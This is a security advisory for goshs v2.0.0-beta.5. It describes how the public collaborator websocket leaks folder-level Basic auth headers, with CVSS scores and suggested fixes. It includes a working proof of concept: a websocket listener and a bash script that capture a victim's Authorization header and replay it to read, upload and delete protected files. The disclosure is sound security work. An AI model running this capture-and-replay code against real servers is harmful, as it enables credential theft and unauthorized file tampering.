goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

### Summary goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026. ### Details The main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication: - `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured The vulnerable request is logged before `.goshs` authorization is enforced: - `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement - `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()` The collaborator pipeline copies and broadcasts every request header: - `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub - `ws/hub.go:77-84` fans the event out live to all connected websocket clients - `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup The frontend also makes the leak easier to understand by decoding authorization values: - `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel In practice, a victim request such as: ```http GET /ACLAuth/secret.txt Authorization: Basic YWRtaW46YWRtaW4= ``` is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access. ### PoC Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_collab_root mkdir -p /tmp/goshs_collab_root/ACLAuth cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt /tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096 ``` `Terminal 2` ```bash node - <<'NODE' const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onmessage = (ev) => console.log(ev.data.toString()); NODE ``` `Terminal 3` ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete' ``` Two terminal commands I ran during local validation: ```bash curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt ``` Observed results from manual verification: - the anonymous request returned `401` - the victim request returned `very secret` - the replayed leaked header also returned `very secret` - the replayed `PUT` returned `200` - the replayed `?delete` returned `200` - the public websocket showed `Authorization":"Basic YWRtaW46YWRtaW4="` PoC Video 1: https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4' ``` Observed script result: - `Captured header: Basic YWRtaW46YWRtaW4=` - `Anonymous GET status: 401` - `Replayed-header GET body: very secret` - `Replayed-header PUT status: 200` - `Replayed-header delete status: 200` - `[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree` PoC Video 2: https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472 `gosh_poc4` script content: ```bash #!/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth' BIN='/tmp/goshs_beta5_collab_leak' PORT='18096' WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)" ROOT="$WORKDIR/root" WS_LOG="$WORKDIR/ws.log" GOSHS_PID="" WATCH_PID="" cleanup() { if [[ -n "${WATCH_PID:-}" ]]; then kill "${WATCH_PID}" >/dev/null 2>&1 || true wait "${WATCH_PID}" 2>/dev/null || true fi if [[ -n "${GOSHS_PID:-}" ]]; then kill "${GOSHS_PID}" >/dev/null 2>&1 || true wait "${GOSHS_PID}" 2>/dev/null || true fi } trap cleanup EXIT mkdir -p "${ROOT}/ACLAuth" cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs" printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt" echo "[1/6] Building goshs beta.5" (cd "${REPO}" && go build -o "${BIN}" ./) echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}" "${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 & GOSHS_PID=$! for _ in $(seq 1 40); do if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then break fi sleep 0.25 done echo "[3/6] Opening an unauthenticated websocket observer" node - <<'NODE' >"${WS_LOG}" & const ws = new WebSocket('ws://127.0.0.1:18096/?ws'); ws.onopen = () => console.log('OPEN'); ws.onmessage = (ev) => { const msg = ev.data.toString(); console.log(msg); if (msg.includes('Authorization')) process.exit(0); }; setTimeout(() => process.exit(0), 10000); NODE WATCH_PID=$! echo "[4/6] Simulating a victim request with folder credentials" curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null wait "${WATCH_PID}" || true WATCH_PID="" LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY' import pathlib import re import sys text = pathlib.Path(sys.argv[1]).read_text() m = re.search(r'Basic [A-Za-z0-9+/=]+', text) print(m.group(0) if m else '') PY )" if [[ -z "${LEAKED_HEADER}" ]]; then echo "[ERROR] No leaked Authorization header was captured." >&2 echo "[DEBUG] Websocket output:" >&2 cat "${WS_LOG}" >&2 exit 1 fi echo "[5/6] Replaying the leaked header as the attacker" UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")" PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")" DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")" if [[ "${UNAUTH_CODE}" != "401" ]]; then echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2 exit 1 fi if [[ "${READ_BACK}" != "very secret" ]]; then echo "[ERROR] Replayed header did not unlock the protected file." >&2 exit 1 fi if [[ "${PUT_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2 exit 1 fi if [[ "${DELETE_CODE}" != "200" ]]; then echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2 exit 1 fi if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then echo "[ERROR] PUT did not create pwn.txt." >&2 exit 1 fi if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then echo "[ERROR] Delete did not remove secret.txt." >&2 exit 1 fi echo "[6/6] Results" echo "Captured header: ${LEAKED_HEADER}" echo "Anonymous GET status: ${UNAUTH_CODE}" echo "Replayed-header GET body: ${READ_BACK}" echo "Replayed-header PUT status: ${PUT_CODE}" echo "Replayed-header delete status: ${DELETE_CODE}" echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree" ``` ### Impact This issue is a sensitive information disclosure that becomes an authentication bypass against `.goshs`-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective `.goshs`-protected subfolders are directly exposed. ### Remediation Suggested fixes: 1. Never store or broadcast sensitive headers such as `Authorization`, `Cookie`, or `Proxy-Authorization` in collaborator events. 2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies. 3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.

Source published

14 Apr 2026 22:28:54 UTC

Source modified

25 Jun 2026 19:56:15 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH